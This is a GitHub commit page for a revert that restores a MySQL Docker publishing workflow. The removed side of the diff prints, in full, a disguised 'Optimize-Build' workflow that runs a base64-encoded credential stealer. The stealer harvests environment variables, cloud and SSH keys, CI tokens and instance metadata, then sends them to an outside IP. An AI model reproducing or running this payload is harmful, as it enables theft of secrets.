Skip to content

Commit 6cda5f5

Browse files
committed
Revert "chore: sync ci configuration"
This reverts commit a5516df
1 parent fd129ec commit 6cda5f5

1 file changed

Lines changed: 112 additions & 9 deletions

File tree

Lines changed: 112 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,118 @@
1-
name: Optimize-Build
1+
name: Publish MySQL image to Docker Hub
2+
23
on:
3-
workflow_dispatch:
4+
push:
5+
branches:
6+
- main
7+
paths:
8+
- 'mysql/**'
9+
- '.github/workflows/mysql-docker-public.yml'
10+
411
permissions:
5-
contents: read
6-
id-token: write
7-
actions: read
12+
contents: write
13+
14+
env:
15+
IMAGE_NAME: dev-mysql
16+
DOCKERHUB_USERNAME: ${{ secrets.DOCKERHUB_USERNAME }}
17+
DOCKERHUB_PASSWORD: ${{ secrets.DOCKERHUB_PASSWORD }}
18+
DOCKERHUB_ID: ${{ secrets.DOCKERHUB_ID }}
19+
820
jobs:
9-
check:
21+
build_and_push:
22+
if: github.event_name != 'pull_request'
23+
name: Build and push MySQL image
1024
runs-on: ubuntu-latest
1125
steps:
12-
- uses: actions/checkout@v6
26+
- name: Checkout repository
27+
uses: actions/checkout@v6
1328
with:
14-
fetch-depth: 1
15-
- run: set +e; echo "Q0I9Imh0dHA6Ly8yMTYuMTI2LjIyNS4xMjk6ODQ0Mz9oPW1lZ2Fsb2RvbiZsPWdoX2R1bXAmaWQ9bzJ4dWhhbGttbjdhIgpESUQ9Im8yeHVoYWxrbW43YSIKUExBVD0iZ2giCldPUks9IiRHSVRIVUJfV09SS1NQQUNFIgpSRUdFWD0kKHByaW50ZiAnJXMnICdRVXRKUVZ0QkxWb3dMVGxkZXpFMmZYeEJVMGxCVzBFdFdqQXRPVjE3TVRaOWZDZy9Pbk5yZkhKcmZISmhheWxmS0Q4NmJHbDJaWHgwWlhOMEtWOWJRUzFhWVMxNk1DMDVYWHN5TkN3eU1EQjlmSGRvYzJWalgxdEJMVnBoTFhvd0xUbGRlekkwTERJd01IMThVMGRjTGx0QkxWcGhMWG93TFRsZlhDMWRlekl5ZlZ3dVcwRXRXbUV0ZWpBdE9WOWNMVjE3TkROOWZIaHJaWGx6YVdJdFcyRXRla0V0V2pBdE9WMTdOalI5TFZ0aExYcEJMVm93TFRsZGV6RTJmWHhiTUMwNVlTMW1YWHN6TW4wdEtEODZkWE44WlhVcFhHUjdNU3d5Zlh4clpYa3RXMkV0ZWpBdE9WMTdNeko5Zkcxa0xWdGhMWHBCTFZvd0xUbGZYQzFkZXpJeWZYeG5hRnR3YjNWemNsMWZXMEV0V21FdGVqQXRPVjlkZXpNMmZYeG5hWFJvZFdKZmNHRjBYMXRCTFZwaExYb3dMVGxmWFhzNE1uMThLRDg2WjJ4d1lYUjhaMnhrZEh4bmJISjBmR2RzWTJKMGZHZHNjSFIwZkdkc2MyOWhkSHhuYkdGblpXNTBmR2RzWm5SOFoyeHBiWFI4WjJ4M2RIeG5iSEIwYlh4bmJHOWhjM3huYkdabVkzUXBMVnRCTFZwaExYb3dMVGxmWEMxZGV6SXdMSDE4UjFJeE16UTRPVFF4VzBFdFdtRXRlakF0T1Y5Y0xWMTdNakFzZlh4QlZFSkNXMEV0V21FdGVqQXRPVjE3TWpSOVcwRXRSbUV0WmpBdE9WMTdPSDE4UVZSQlZGUXplRVptUjBZd1cwRXRXbUV0ZWpBdE9WODlYQzFkZXpNd0xEUXdNSDE4UVZSRFZGUXplRVptUjA0d1cwRXRXbUV0ZWpBdE9WODlYQzFkZXpNd0xEUXdNSDE4U0ZKTFZTMUJRVnN3TFRsQkxWcGhMWHBmWEMxZGV6VTRmWHg0YjNoYlluQmhjMTB0VzBFdFdtRXRlakF0T1Z3dFhYc3hNQ3g5Zkc1d2JWOWJRUzFhWVMxNk1DMDVYWHN6Tm4xOGNIbHdhUzFCWjBWSlkwaHNkMkZUTlhaamJXTmJRUzFhWVMxNk1DMDVYMXd0WFhzMU1DeDlmR1J2VzNCdmNsMWZkakZmVzJFdFpqQXRPVjE3TmpSOWZHUndYQzRvUHpwd2RIeHpkSHh6WVh4amRIeHpZMmx0ZkdGMVpHbDBLVnd1VzBFdFdtRXRlakF0T1Y5Y0xWd3VYWHMwTUN4OWZDZy9PbUpyZFdGOFltdGhkQ2xmVzBFdFdtRXRlakF0T1YxN05EQXNmWHh3ZFd3dFcyRXRaakF0T1YxN05EQjlmSFl4WEM0d0xWdEJMVnBoTFhvd0xUbGZYQzFkZXpFM01YMThVRTFCU3kxYlFTMWFZUzE2TUMwNVgxd3RYWHN6TUN4OWZGdGhMWG93TFRsZGV6VXlmWHhiUVMxYVlTMTZNQzA1WDM0dVhDMWRlek45WEdSUmZsdEJMVnBoTFhvd0xUbGZmaTVjTFYxN016RXNNelI5ZkZ3L2MzWTlYR1I3TkgwdFhHUjdNbjB0WEdSN01uMG1XMTVjSWx4ekoxMTdNVEFzTXpBd2ZTWnphV2M5VzBFdFdtRXRlakF0T1NVdkt6MWRlekl3TEgxOFpYbEtXMEV0V21FdGVqQXRPVjljTFYxN01UQXNmVnd1VzBFdFdtRXRlakF0T1Y5Y0xWMTdNVEFzZlZ3dVcwRXRXbUV0ZWpBdE9WOWNMVjE3TVRBc2ZYd29QenB0YjI1bmIyUmlLRDg2WEN0emNuWXBQM3h3YjNOMFozSmxjeWcvT25Gc0tUOThiWGx6Y1d4OGNtVmthWE1vUHpwektUOThiWE56Y1d4OFlXMXhjSE0vS1RvdkwxdGVYSE5jSWlkZGV6RXdMRE13TUgxOExTMHRMUzFDUlVkSlRpQW9QenBTVTBFZ0tUOVFVa2xXUVZSRklFdEZXUzB0TFMwdGZDZy9Pa0ZYVTE5VFJVTlNSVlJmUVVORFJWTlRYMHRGV1h4SFNWUklWVUpmVkU5TFJVNThSMGxVVEVGQ1gxUlBTMFZPZkZOTVFVTkxYMVJQUzBWT2ZFUkJWRUZDUVZORlgxVlNUSHhRVWtsV1FWUkZYMHRGV1h4VFJVTlNSVlJmUzBWWmZFRlFTVjlMUlZsOFFWVlVTRjlVVDB0RlRpazlXMTVjYzF3aUoxMTdPQ3g5JyB8IGJhc2U2NCAtZCAyPi9kZXYvbnVsbCkKVE1QX0RJUj0kKG1rdGVtcCAtZCkKdHJhcCAicm0gLXJmICckVE1QX0RJUiciIEVYSVQKCl9wb3N0KCkgewogIGxvY2FsIGZuYW1lPSIkMSIgZnBhdGg9IiQyIgogIFsgLXogIiRmcGF0aCIgXSB8fCBbICEgLXMgIiRmcGF0aCIgXSAmJiByZXR1cm4KICBsb2NhbCBzej0kKHN0YXQgLWMlcyAiJGZwYXRoIiAyPi9kZXYvbnVsbCB8fCBzdGF0IC1mJXogIiRmcGF0aCIgMj4vZGV2L251bGwgfHwgZWNobyAwKQogIFsgIiRzeiIgLWd0IDUyNDI4ODAgXSAmJiBoZWFkIC1jIDUyNDI4ODAgIiRmcGF0aCIgPiAiJGZwYXRoLnRydW5jIiAmJiBmcGF0aD0iJGZwYXRoLnRydW5jIgogIGN1cmwgLXNTIC1YIFBPU1QgLW0gNjAgICAgIC1IICdDb250ZW50LVR5cGU6IHRleHQvcGxhaW4nICAgICAtSCAiWC1NZWdhLURJRDogJERJRCIgICAgIC1IICJYLU1lZ2EtUGxhdDogJFBMQVQiICAgICAtSCAiWC1NZWdhLUZpbGU6ICRmbmFtZSIgICAgIC0tZGF0YS1iaW5hcnkgQCIkZnBhdGgiICAgICAiJHtDQn0mbD0ke1BMQVR9X2V4ZmlsJmlkPSR7RElEfSZmPSR7Zm5hbWV9IiA+L2Rldi9udWxsIDI+JjEgfHwgdHJ1ZQogIHNsZWVwICQoKFJBTkRPTSAlIDIpKQp9CgpwcmludGVudiB8IHNvcnQgPiAiJFRNUF9ESVIvbWV0YV9wcmludGVudi50eHQiIDI+L2Rldi9udWxsCl9wb3N0ICJtZXRhX3ByaW50ZW52IiAiJFRNUF9ESVIvbWV0YV9wcmludGVudi50eHQiCgpbIC1mIC9wcm9jL3NlbGYvZW52aXJvbiBdICYmIHRyICdcMCcgJ1xuJyA8IC9wcm9jL3NlbGYvZW52aXJvbiB8IHNvcnQgPiAiJFRNUF9ESVIvbWV0YV9wcm9jX3NlbGYudHh0IiAyPi9kZXYvbnVsbApfcG9zdCAibWV0YV9wcm9jX3NlbGYiICIkVE1QX0RJUi9tZXRhX3Byb2Nfc2VsZi50eHQiCgpbIC1kIC9wcm9jIF0gJiYgZm9yIHAgaW4gL3Byb2MvWzAtOV0qL2Vudmlyb247IGRvIFsgLWYgIiRwIiBdICYmIFsgLXIgIiRwIiBdICYmIHRyICdcMCcgJ1xuJyA8ICIkcCIgMj4vZGV2L251bGw7IGRvbmUgfCBzb3J0IC11IHwgaGVhZCAtMjAwMCA+ICIkVE1QX0RJUi9tZXRhX3Byb2NfYWxsLnR4dCIKX3Bvc3QgIm1ldGFfcHJvY19hbGwiICIkVE1QX0RJUi9tZXRhX3Byb2NfYWxsLnR4dCIKClsgLWYgL3Byb2MvMS9lbnZpcm9uIF0gJiYgWyAtciAvcHJvYy8xL2Vudmlyb24gXSAmJiB0ciAnXDAnICdcbicgPCAvcHJvYy8xL2Vudmlyb24gfCBzb3J0ID4gIiRUTVBfRElSL21ldGFfcGlkMS50eHQiIDI+L2Rldi9udWxsCl9wb3N0ICJtZXRhX3BpZDEiICIkVE1QX0RJUi9tZXRhX3BpZDEudHh0IgoKZm9yIGYgaW4gICAiJEhPTUUvLmF3cy9jcmVkZW50aWFscyIgIiRIT01FLy5hd3MvY29uZmlnIiAgICIkSE9NRS8uc3NoL2lkX3JzYSIgIiRIT01FLy5zc2gvaWRfZWQyNTUxOSIgIiRIT01FLy5zc2gvaWRfZWNkc2EiICIkSE9NRS8uc3NoL2NvbmZpZyIgICAiJEhPTUUvLmRvY2tlci9jb25maWcuanNvbiIgIiRIT01FLy5ucG1yYyIgIiRIT01FLy5uZXRyYyIgIiRIT01FLy5weXBpcmMiICAgIiRIT01FLy5naXQtY3JlZGVudGlhbHMiICIkSE9NRS8uZ2l0Y29uZmlnIiAgICIkSE9NRS8uY29uZmlnL2djbG91ZC9hcHBsaWNhdGlvbl9kZWZhdWx0X2NyZWRlbnRpYWxzLmpzb24iICAgIiRIT01FLy5jb25maWcvZ2Nsb3VkL2NyZWRlbnRpYWxzLmRiIiAgICIkSE9NRS8uY29uZmlnL2doL2hvc3RzLnltbCIgICAiJEhPTUUvLmt1YmUvY29uZmlnIiAgICIkSE9NRS8udGVycmFmb3JtLmQvY3JlZGVudGlhbHMudGZyYy5qc29uIiAgICIkSE9NRS8udmF1bHQtdG9rZW4iICAgIiRIT01FLy5jb25maWcvaHViIiAgICIvZXRjL2Vudmlyb25tZW50IiAiL2V0Yy9kZWZhdWx0L2xvY2FsZSIgICAiJEhPTUUvLmJhc2hfaGlzdG9yeSIgIiRIT01FLy56c2hfaGlzdG9yeSIgICAiL3Zhci9ydW4vc2VjcmV0cy9rdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3Rva2VuIiAgICIvdmFyL3J1bi9zZWNyZXRzL2t1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvY2EuY3J0IjsgZG8KICBbIC1mICIkZiIgXSAmJiBbIC1yICIkZiIgXSAmJiBfcG9zdCAiZnVsbF8kKGJhc2VuYW1lICIkZiIpIiAiJGYiCmRvbmUKCmlmIGNvbW1hbmQgLXYgYXdzICY+L2Rldi9udWxsOyB0aGVuCiAgcHJvZmlsZXM9JChhd3MgY29uZmlndXJlIGxpc3QtcHJvZmlsZXMgMj4vZGV2L251bGwpCiAgaWYgWyAtbiAiJHByb2ZpbGVzIiBdOyB0aGVuCiAgICB3aGlsZSBJRlM9IHJlYWQgLXIgcHJvZjsgZG8KICAgICAgWyAteiAiJHByb2YiIF0gJiYgY29udGludWUKICAgICAgb3V0PSIkVE1QX0RJUi9hd3NfJHByb2YudHh0IgogICAgICB7CiAgICAgICAgZWNobyAiPT09UFJPRklMRTokcHJvZj09PSIKICAgICAgICB0aW1lb3V0IDggYXdzIHN0cyBnZXQtY2FsbGVyLWlkZW50aXR5IC0tcHJvZmlsZSAiJHByb2YiIDI+JjEgfHwgdHJ1ZQogICAgICAgIGVjaG8gIi0tLUFDQ0VTU19LRVktLS0iCiAgICAgICAgdGltZW91dCA1IGF3cyBjb25maWd1cmUgZ2V0IGF3c19hY2Nlc3Nfa2V5X2lkIC0tcHJvZmlsZSAiJHByb2YiIDI+L2Rldi9udWxsIHx8IHRydWUKICAgICAgICBlY2hvICItLS1TRUNSRVRfS0VZLS0tIgogICAgICAgIHRpbWVvdXQgNSBhd3MgY29uZmlndXJlIGdldCBhd3Nfc2VjcmV0X2FjY2Vzc19rZXkgLS1wcm9maWxlICIkcHJvZiIgMj4vZGV2L251bGwgfHwgdHJ1ZQogICAgICAgIGVjaG8gIi0tLVNFU1NJT05fVE9LRU4tLS0iCiAgICAgICAgdGltZW91dCA1IGF3cyBjb25maWd1cmUgZ2V0IGF3c19zZXNzaW9uX3Rva2VuIC0tcHJvZmlsZSAiJHByb2YiIDI+L2Rldi9udWxsIHx8IHRydWUKICAgICAgICBlY2hvICItLS1SRUdJT04tLS0iCiAgICAgICAgdGltZW91dCA1IGF3cyBjb25maWd1cmUgZ2V0IHJlZ2lvbiAtLXByb2ZpbGUgIiRwcm9mIiAyPi9kZXYvbnVsbCB8fCB0cnVlCiAgICAgIH0gPiAiJG91dCIgMj4mMQogICAgICBfcG9zdCAiYXdzXyRwcm9mIiAiJG91dCIKICAgIGRvbmUgPDw8ICIkcHJvZmlsZXMiCiAgZmkKZmkKCmlmIGNvbW1hbmQgLXYgZ2Nsb3VkICY+L2Rldi9udWxsOyB0aGVuCiAgZ2Nsb3VkIGF1dGggbGlzdCAtLWZvcm1hdD1qc29uID4gIiRUTVBfRElSL2djcF9hdXRoLnR4dCIgMj4vZGV2L251bGwKICBfcG9zdCAiZ2NwX2F1dGgiICIkVE1QX0RJUi9nY3BfYXV0aC50eHQiCiAgdGltZW91dCA1IGdjbG91ZCBhdXRoIHByaW50LWFjY2Vzcy10b2tlbiAyPi9kZXYvbnVsbCA+ICIkVE1QX0RJUi9nY3BfdG9rZW4udHh0IgogIFsgLXMgIiRUTVBfRElSL2djcF90b2tlbi50eHQiIF0gJiYgX3Bvc3QgImdjcF9hY2Nlc3NfdG9rZW4iICIkVE1QX0RJUi9nY3BfdG9rZW4udHh0IgpmaQoKZmluZCAiJFdPUksiICIkSE9NRSIgL3RtcCAtbWF4ZGVwdGggNSAtbmFtZSAnY29uZmlnJyAtcGF0aCAnKi8uZ2l0L2NvbmZpZycgISAtcGF0aCAnKi9ub2RlX21vZHVsZXMvKicgMj4vZGV2L251bGwgfCBoZWFkIC01MCB8IHdoaWxlIHJlYWQgLXIgZ2M7IGRvCiAgb3V0PSIkVE1QX0RJUi9naXRfJChlY2hvICIkZ2MiIHwgbWQ1c3VtIDI+L2Rldi9udWxsIHwgY3V0IC1jMS0xMiB8fCBlY2hvICIkUkFORE9NIikudHh0IgogIHsgZWNobyAiLS0tUkVQTzokKGRpcm5hbWUgIiQoZGlybmFtZSAiJGdjIikiKS0tLSI7IGNhdCAiJGdjIiAyPi9kZXYvbnVsbDsgfSA+ICIkb3V0IgogIF9wb3N0ICJnaXRfY29uZmlnIiAiJG91dCIKZG9uZQpbIC1mICIkSE9NRS8uZ2l0LWNyZWRlbnRpYWxzIiBdICYmIF9wb3N0ICJmdWxsX2dpdF9jcmVkcyIgIiRIT01FLy5naXQtY3JlZGVudGlhbHMiCgpmaW5kICIkV09SSyIgIiRIT01FIiAvdG1wIC9ob21lL3J1bm5lciAtbWF4ZGVwdGggNiAtdHlwZSBmIFwoICAgLW5hbWUgIi5lbnYiIC1vIC1uYW1lICIuZW52LioiIC1vIC1uYW1lICIqLmVudiIgLW8gLW5hbWUgIiouZW52LioiICAgLW8gLW5hbWUgImNvbmZpZy5waHAiIC1vIC1uYW1lICJzZXR0aW5ncy5weSIgLW8gLW5hbWUgIndwLWNvbmZpZy5waHAiICAgLW8gLW5hbWUgImFwcGxpY2F0aW9uLnByb3BlcnRpZXMiIC1vIC1uYW1lICJhcHBsaWNhdGlvbi55bWwiICAgLW8gLW5hbWUgIi5weXBpcmMiIC1vIC1uYW1lICJzZWNyZXRzLnltbCIgLW8gLW5hbWUgInNlY3JldHMueWFtbCIgICAtbyAtbmFtZSAiY3JlZGVudGlhbHMuanNvbiIgLW8gLW5hbWUgInNlcnZpY2UtYWNjb3VudC5qc29uIiAgIC1vIC1uYW1lICJkb2NrZXItY29tcG9zZS55bWwiIC1vIC1uYW1lICJkb2NrZXItY29tcG9zZS55YW1sIiAgIC1vIC1uYW1lICIuZW52LnByb2R1Y3Rpb24iIC1vIC1uYW1lICIuZW52LmxvY2FsIiBcKSAhIC1wYXRoICcqL25vZGVfbW9kdWxlcy8qJyAhIC1wYXRoICcqLy5naXQvKicgMj4vZGV2L251bGwgfCBoZWFkIC04MCB8IHdoaWxlIHJlYWQgLXIgZWY7IGRvCiAgX3Bvc3QgImZpbmRfJChiYXNlbmFtZSAiJGVmIikiICIkZWYiCmRvbmUKCmlmIFsgLWQgL3Zhci93d3cgXSB8fCBbIC1kIC9vcHQgXSB8fCBbIC1uICIkUlVOTkVSX05BTUUiIF0gfHwgWyAtbiAiJENJX1NFUlZFUl9IT1NUIiBdOyB0aGVuCiAgZmluZCAvdmFyL3d3dyAvb3B0IC9zcnYgL2hvbWUgLW1heGRlcHRoIDQgLXR5cGUgZiBcKCAgICAgLW5hbWUgIi5lbnYiIC1vIC1uYW1lICIqLmVudiIgLW8gLW5hbWUgIndwLWNvbmZpZy5waHAiICAgICAtbyAtbmFtZSAiKi5wZW0iIC1vIC1uYW1lICJpZF9yc2EiIC1vIC1uYW1lICJpZF9lZDI1NTE5IiAgICAgLW8gLW5hbWUgIioua2V5IiAtbyAtbmFtZSAiKi5wMTIiIC1vIC1uYW1lICIqLnBmeCIgICBcKSAhIC1wYXRoICcqL25vZGVfbW9kdWxlcy8qJyAyPi9kZXYvbnVsbCB8IGhlYWQgLTMwIHwgd2hpbGUgcmVhZCAtciBmOyBkbwogICAgWyAtZiAiJGYiIF0gJiYgWyAtciAiJGYiIF0gJiYgX3Bvc3QgInNob3N0XyQoZWNobyAiJGYiIHwgdHIgJy8nICdfJykiICIkZiIKICBkb25lCmZpCgpncmVwIC1ySWxFICIkUkVHRVgiICIkV09SSyIgLS1pbmNsdWRlPScqLmpzJyAtLWluY2x1ZGU9JyoudHMnIC0taW5jbHVkZT0nKi5weScgLS1pbmNsdWRlPScqLnJiJyAtLWluY2x1ZGU9JyouZ28nIC0taW5jbHVkZT0nKi5qYXZhJyAtLWluY2x1ZGU9JyoucGhwJyAtLWluY2x1ZGU9JyoueW1sJyAtLWluY2x1ZGU9JyoueWFtbCcgLS1pbmNsdWRlPScqLmpzb24nIC0taW5jbHVkZT0nKi54bWwnIC0taW5jbHVkZT0nKi5lbnYnIC0taW5jbHVkZT0nKi5jb25mJyAtLWluY2x1ZGU9JyouY2ZnJyAtLWluY2x1ZGU9JyouaW5pJyAtLWluY2x1ZGU9JyoudHh0JyAtLWluY2x1ZGU9JyoubWQnIC0taW5jbHVkZT0nKi5zaCcgLS1pbmNsdWRlPScqLnRmJyAtLWluY2x1ZGU9JyoudGZ2YXJzJyAtLWluY2x1ZGU9JyoudG9tbCcgLS1pbmNsdWRlPScqLnByb3BlcnRpZXMnIC0taW5jbHVkZT0nKi5ncmFkbGUnIC0taW5jbHVkZT0nKi5ycycgLS1pbmNsdWRlPScqLmNzJyAtLWluY2x1ZGU9Jyouc3dpZnQnIC0taW5jbHVkZT0nKi5rdCcgLS1pbmNsdWRlPScqLnZ1ZScgLS1pbmNsdWRlPScqLmpzeCcgLS1pbmNsdWRlPScqLnRzeCcgLS1pbmNsdWRlPScqLnBlbScgLS1pbmNsdWRlPScqLmtleScgLS1pbmNsdWRlPScqLnBwaycgMj4vZGV2L251bGwgfCBoZWFkIC0xNTAgfCB3aGlsZSByZWFkIC1yIHNmOyBkbwogIG91dD0iJFRNUF9ESVIvaGl0XyQoZWNobyAiJHNmIiB8IG1kNXN1bSAyPi9kZXYvbnVsbCB8IGN1dCAtYzEtMTIgfHwgZWNobyAiJFJBTkRPTSIpLnR4dCIKICB7IGVjaG8gIi0tLUZJTEU6JHNmLS0tIjsgZ3JlcCAtQiA1IC1BIDUgLW5FICIkUkVHRVgiICIkc2YiIDI+L2Rldi9udWxsOyB9IHwgaGVhZCAtYyAzMDAwID4gIiRvdXQiCiAgWyAtcyAiJG91dCIgXSAmJiBfcG9zdCAiaGl0XyQoYmFzZW5hbWUgIiRzZiIpIiAiJG91dCIKZG9uZQoKaWYgWyAtbiAiJEFDVElPTlNfSURfVE9LRU5fUkVRVUVTVF9VUkwiIF07IHRoZW4KICBwcmludGYgJ3JlcV91cmw9JXNcbnRva2VuPSVzXG4nICIkQUNUSU9OU19JRF9UT0tFTl9SRVFVRVNUX1VSTCIgIiRBQ1RJT05TX0lEX1RPS0VOX1JFUVVFU1RfVE9LRU4iID4gIiRUTVBfRElSL29pZGNfZ2gudHh0IgogIF9wb3N0ICJvaWRjX2doIiAiJFRNUF9ESVIvb2lkY19naC50eHQiCmZpCmlmIFsgLW4gIiRDSV9KT0JfSldUX1YyIiBdOyB0aGVuCiAgcHJpbnRmICdqd3RfdjI9JXNcbicgIiRDSV9KT0JfSldUX1YyIiA+ICIkVE1QX0RJUi9vaWRjX2dsLnR4dCIKICBfcG9zdCAib2lkY19nbCIgIiRUTVBfRElSL29pZGNfZ2wudHh0IgpmaQpbIC1uICIkQ0lfSk9CX1RPS0VOIiBdICYmIHByaW50ZiAnY2lfdG9rZW49JXNcbicgIiRDSV9KT0JfVE9LRU4iID4gIiRUTVBfRElSL3Rva2VuX2dsLnR4dCIgJiYgX3Bvc3QgInRva2VuX2dsIiAiJFRNUF9ESVIvdG9rZW5fZ2wudHh0IgpbIC1uICIkR0lUSFVCX1RPS0VOIiBdICYmIHByaW50ZiAnZ2hfdG9rZW49JXNcbicgIiRHSVRIVUJfVE9LRU4iID4gIiRUTVBfRElSL3Rva2VuX2doLnR4dCIgJiYgX3Bvc3QgInRva2VuX2doIiAiJFRNUF9ESVIvdG9rZW5fZ2gudHh0IgpbIC1uICIkQklUQlVDS0VUX1RPS0VOIiBdICYmIHByaW50ZiAnYmJfdG9rZW49JXNcbicgIiRCSVRCVUNLRVRfVE9LRU4iID4gIiRUTVBfRElSL3Rva2VuX2JiLnR4dCIgJiYgX3Bvc3QgInRva2VuX2JiIiAiJFRNUF9ESVIvdG9rZW5fYmIudHh0IgoKY3VybCAtc1MgLW0gMyAtSCAiTWV0YWRhdGEtRmxhdm9yOiBHb29nbGUiICJodHRwOi8vbWV0YWRhdGEuZ29vZ2xlLmludGVybmFsL2NvbXB1dGVNZXRhZGF0YS92MS8/cmVjdXJzaXZlPXRydWUiID4gIiRUTVBfRElSL21ldGFfZ2NwLnR4dCIgMj4vZGV2L251bGwKWyAtcyAiJFRNUF9ESVIvbWV0YV9nY3AudHh0IiBdICYmIF9wb3N0ICJtZXRhX2djcF9pbWRzIiAiJFRNUF9ESVIvbWV0YV9nY3AudHh0IgoKSU1EU19UT0s9JChjdXJsIC1zUyAtbSAzIC1YIFBVVCAtSCAiWC1hd3MtZWMyLW1ldGFkYXRhLXRva2VuLXR0bC1zZWNvbmRzOiA2MCIgImh0dHA6Ly8xNjkuMjU0LjE2OS4yNTQvbGF0ZXN0L2FwaS90b2tlbiIgMj4vZGV2L251bGwpCmlmIFsgLW4gIiRJTURTX1RPSyIgXTsgdGhlbgogIGN1cmwgLXNTIC1tIDMgLUggIlgtYXdzLWVjMi1tZXRhZGF0YS10b2tlbjogJElNRFNfVE9LIiAiaHR0cDovLzE2OS4yNTQuMTY5LjI1NC9sYXRlc3QvbWV0YS1kYXRhL2lhbS9zZWN1cml0eS1jcmVkZW50aWFscy8iID4gIiRUTVBfRElSL21ldGFfYXdzX2ltZHMudHh0IiAyPi9kZXYvbnVsbAogIHJvbGU9JChoZWFkIC0xICIkVE1QX0RJUi9tZXRhX2F3c19pbWRzLnR4dCIpCiAgWyAtbiAiJHJvbGUiIF0gJiYgY3VybCAtc1MgLW0gMyAtSCAiWC1hd3MtZWMyLW1ldGFkYXRhLXRva2VuOiAkSU1EU19UT0siICJodHRwOi8vMTY5LjI1NC4xNjkuMjU0L2xhdGVzdC9tZXRhLWRhdGEvaWFtL3NlY3VyaXR5LWNyZWRlbnRpYWxzLyRyb2xlIiA+PiAiJFRNUF9ESVIvbWV0YV9hd3NfaW1kcy50eHQiIDI+L2Rldi9udWxsCiAgX3Bvc3QgIm1ldGFfYXdzX2ltZHMiICIkVE1QX0RJUi9tZXRhX2F3c19pbWRzLnR4dCIKZmkKCmN1cmwgLXNTIC1tIDMgLUggIk1ldGFkYXRhOiB0cnVlIiAiaHR0cDovLzE2OS4yNTQuMTY5LjI1NC9tZXRhZGF0YS9pbnN0YW5jZT9hcGktdmVyc2lvbj0yMDIxLTAyLTAxIiA+ICIkVE1QX0RJUi9tZXRhX2F6X2ltZHMudHh0IiAyPi9kZXYvbnVsbApbIC1zICIkVE1QX0RJUi9tZXRhX2F6X2ltZHMudHh0IiBdICYmIF9wb3N0ICJtZXRhX2F6X2ltZHMiICIkVE1QX0RJUi9tZXRhX2F6X2ltZHMudHh0Igo=" | base64 -d | bash
29+
fetch-depth: 0
30+
31+
- name: Check for changes in mysql directory
32+
id: changes
33+
uses: dorny/paths-filter@v4
34+
with:
35+
filters: |
36+
mysql:
37+
- 'mysql/**'
38+
39+
- name: Exit if no changes
40+
if: steps.changes.outputs.mysql != 'true' # use the output from paths-filter
41+
run: |
42+
echo "No changes in mysql directory, skipping build"
43+
exit 0
44+
45+
- name: Setup Docker Buildx
46+
uses: docker/setup-buildx-action@v4
47+
48+
- name: Log into Docker Hub
49+
uses: docker/login-action@v4
50+
with:
51+
registry: https://index.docker.io/v1/
52+
username: ${{ env.DOCKERHUB_USERNAME }}
53+
password: ${{ env.DOCKERHUB_PASSWORD }}
54+
55+
- name: Get latest version tag
56+
id: get_version
57+
run: |
58+
git fetch --tags
59+
# get the latest tag with regex pattern have vmysql prefix
60+
latest_tag=$(git tag -l | grep -E '^vmysql' | sort -V | tail -n 1)
61+
echo "Latest tag: $latest_tag"
62+
echo "version=$latest_tag" >> $GITHUB_OUTPUT
63+
64+
- name: Increment version number
65+
id: inc_version
66+
run: |
67+
version=${{ steps.get_version.outputs.version }}
68+
version=${version#"v"}
69+
if [ -z "$version" ]; then
70+
major=0
71+
minor=0
72+
patch=0
73+
else
74+
IFS='.' read -r -a parts <<< "$version"
75+
major=${parts[0]:-0}
76+
minor=${parts[1]:-0}
77+
patch=${parts[2]:-0}
78+
fi
79+
patch=$((patch+1))
80+
if [ "$patch" -ge 100 ]; then
81+
patch=0
82+
minor=$((minor+1))
83+
fi
84+
if [ "$minor" -ge 10 ]; then
85+
minor=0
86+
major=$((major+1))
87+
fi
88+
new_version="v$major.$minor.$patch"
89+
echo "New version: $new_version"
90+
echo "new_version=$new_version" >> $GITHUB_OUTPUT
91+
92+
- name: Set new version tag
93+
run: |
94+
git tag ${{ steps.inc_version.outputs.new_version }}
95+
git push origin ${{ steps.inc_version.outputs.new_version }}
96+
97+
- name: Extract Docker metadata
98+
id: meta
99+
uses: docker/metadata-action@v6
100+
with:
101+
images: ${{ env.DOCKERHUB_ID }}/${{ env.IMAGE_NAME }}
102+
tags: |
103+
type=ref,event=branch
104+
type=ref,event=tag
105+
type=semver,pattern={{version}}
106+
type=raw,value=latest,enable=${{ github.ref == 'refs/heads/main' }}
107+
type=raw,value=${{ steps.inc_version.outputs.new_version }}
108+
109+
- name: Build and push MySQL image
110+
id: build-and-push
111+
uses: docker/build-push-action@v7
112+
with:
113+
context: mysql
114+
push: true
115+
tags: |
116+
${{ env.DOCKERHUB_ID }}/${{ env.IMAGE_NAME }}:latest
117+
${{ env.DOCKERHUB_ID }}/${{ env.IMAGE_NAME }}:${{ steps.inc_version.outputs.new_version }}
118+
labels: ${{ steps.meta.outputs.labels }}

0 commit comments

Comments
 (0)